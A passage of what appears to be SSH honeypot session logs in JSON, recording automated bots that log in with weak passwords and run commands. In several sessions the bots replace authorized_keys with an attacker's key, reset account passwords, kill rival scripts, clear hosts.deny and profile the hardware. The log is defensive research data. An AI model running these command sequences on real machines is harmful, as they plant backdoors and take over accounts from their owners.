ls)"},{"seq":14,"at":"2026-08-27T13:59:35.661181+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:59:36.499061+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:59:38.144186+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:59:38.987904+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:59:41.153694+00:00","kind":"output","latency_ms":null,"data":" 13:59:41 up 7 days, 10:49, 0 user, load average: 0.05, 0.06, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:59:41.994824+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:59:43.817956+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:59:44.654653+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:59:46.235623+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:59:47.071893+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:59:48.107696+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:48 up 7 days, 10:49, 0 user, load average: 0.05, 0.06, 0.04\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:59:48.949290+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:59:49.988159+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:59:50.825064+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:59:52.703830+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:59:53.543038+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:59:54.727198+00:00","kind":"output","latency_ms":null,"data":"aswin"},{"seq":31,"at":"2026-08-27T13:59:55.575020+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:59:56.676325+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:59:57.517381+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:59:58.434202+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"aswin","password":"aswin","method":"password","accepted":true,"tier":"other"}]} {"id":"02d94f97-51a7-477a-b442-27cb5437ccb7","name":"mossy-electric-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:37.357704+00:00","ended_at":"2026-08-27T13:59:39.371099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:59:04.686097+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:05.037296+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:09.436226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:10.964196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:11.305944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DIWw5i9SWSrO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:59:12.055565+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:59:12.163166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:12.395898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:14.563226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:59:15.011706+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:59:15.945948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:59:16.800087+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:59:18.554186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:59:19.948907+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:59:21.478636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:59:21.823337+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:59:23.465019+00:00","kind":"output","latency_ms":null,"data":" 13:59:23 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:59:23.935077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:59:25.887870+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:59:26.234554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:59:27.938622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:59:28.279671+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:59:29.159197+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:29 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:59:29.499584+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:59:31.202642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:59:31.544259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:59:32.586833+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:59:33.027279+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:59:34.941501+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:59:35.279877+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:59:36.963324+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:59:37.358406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:59:39.269084+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"redhat","method":"password","accepted":true,"tier":"other"}]} {"id":"5551ed36-19bf-40f6-83a6-3a1321cdc354","name":"seaward-reedy-jaguar","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":50400,"username":"aswin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:59:24.914832+00:00","ended_at":"2026-08-27T13:59:26.669020+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"aswin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4c4524ea-451e-4b0e-bee9-a7dcfdd28c76","name":"brisk-plucky-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":49586,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:59:21.644901+00:00","ended_at":"2026-08-27T13:59:23.252793+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"18d20994-11a7-4ec7-8c55-0dfb4edf88db","name":"blithe-flinty-yak","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":57982,"username":"lthpc","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":197,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:59:11.397122+00:00","ended_at":"2026-08-27T13:59:11.498428+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:59:09.414784+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:59:10.210450+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:59:10.409556+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:59:10.411007+00:00","kind":"output","latency_ms":null,"data":" 13:59:10 up 7 days, 10:49, 0 user, load average: 0.25, 0.28, 0.16"},{"seq":5,"at":"2026-08-27T13:59:10.606398+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:59:10.606883+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:59:10.804309+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:59:10.804934+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:59:11.003235+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:59:11.003711+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:59:11.200745+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:59:11.201687+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:59:11.398445+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:59:11.398947+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"lthpc","password":"Lt111111","method":"password","accepted":true,"tier":"other"}]} {"id":"8609fc80-6fe9-4fcd-bb46-ca684940b0ab","name":"thrifty-granite-harrier","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":41808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:59:08.383265+00:00","ended_at":"2026-08-27T13:59:09.330568+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"12dc0a10-46ff-4925-b48a-86be989ea5ae","name":"noble-subtle-badger","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":39872,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:59:05.956026+00:00","ended_at":"2026-08-27T13:59:07.727943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"92f79bfd-6af6-423b-ae4a-edc12c4026b0","name":"barren-salty-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":49358,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":376,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:58:11.390937+00:00","ended_at":"2026-08-27T13:58:13.191461+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2121,"events":[{"seq":1,"at":"2026-08-27T13:57:37.301018+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:57:37.690938+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:57:43.208076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:57:44.473860+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:57:44.849868+00:00","kind":"input","latency_ms":null,"data":"echo -e \"system\\neL7OMDHMfYKP\\neL7OMDHMfYKP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:57:45.226953+00:00","kind":"input","latency_ms":null,"data":"echo \"system\\neL7OMDHMfYKP\\neL7OMDHMfYKP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:57:45.743054+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:57:46.462357+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:57:46.482940+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:57:46.650148+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:57:47.025145+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:57:49.203832+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:57:49.784393+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:57:51.030603+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:57:51.416080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:57:53.266943+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:57:53.636169+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:57:55.739235+00:00","kind":"output","latency_ms":null,"data":" 13:57:55 up 7 days, 10:48, 0 user, load average: 0.11, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:57:56.126284+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:57:57.418025+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:57:57.793781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:57:59.867512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:58:00.388543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:58:02.221515+00:00","kind":"output","latency_ms":null,"data":"top - 13:58:02 up 7 days, 10:48, 0 user, load average: 0.11, 0.09, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:58:02.672129+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:58:03.663121+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:58:04.678174+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:58:06.316313+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:58:06.691738+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:58:08.520073+00:00","kind":"output","latency_ms":null,"data":"oracle"},{"seq":31,"at":"2026-08-27T13:58:08.895043+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:58:11.014874+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:58:11.391687+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:58:13.076265+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"oracle","password":"system","method":"password","accepted":true,"tier":"other"}]} {"id":"0c54333f-71e9-44e8-ab7d-a8d2058fe802","name":"forlorn-prairie-teal","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":52786,"username":"abcd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":831,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:58:04.604391+00:00","ended_at":"2026-08-27T13:58:06.394056+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2135,"events":[{"seq":1,"at":"2026-08-27T13:57:26.409501+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:57:27.241072+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:57:33.479157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:57:35.543187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:57:36.370103+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n6JWBHsMQJjq2\\n6JWBHsMQJjq2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:57:37.196758+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n6JWBHsMQJjq2\\n6JWBHsMQJjq2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:57:37.891685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:57:38.023987+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:57:38.064075+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:57:39.705799+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:57:40.532298+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:57:42.176421+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:57:43.012226+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:57:44.722070+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:57:45.554798+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:57:47.279189+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:57:48.106146+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:57:49.522697+00:00","kind":"output","latency_ms":null,"data":" 13:57:49 up 7 days, 10:47, 0 user, load average: 0.21, 0.25, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:57:50.373267+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:57:52.431713+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:57:53.266051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:57:54.224610+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:57:55.068579+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:57:56.626470+00:00","kind":"output","latency_ms":null,"data":"top - 13:57:56 up 7 days, 10:48, 0 user, load average: 0.21, 0.25, 0.15\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:57:57.456655+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:57:58.326279+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:57:59.154151+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:58:00.378918+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:58:01.205393+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:58:02.061642+00:00","kind":"output","latency_ms":null,"data":"abcd"},{"seq":31,"at":"2026-08-27T13:58:02.895042+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:58:03.778056+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:58:04.605276+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:58:06.125284+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"abcd","password":"123","method":"password","accepted":true,"tier":"other"}]} 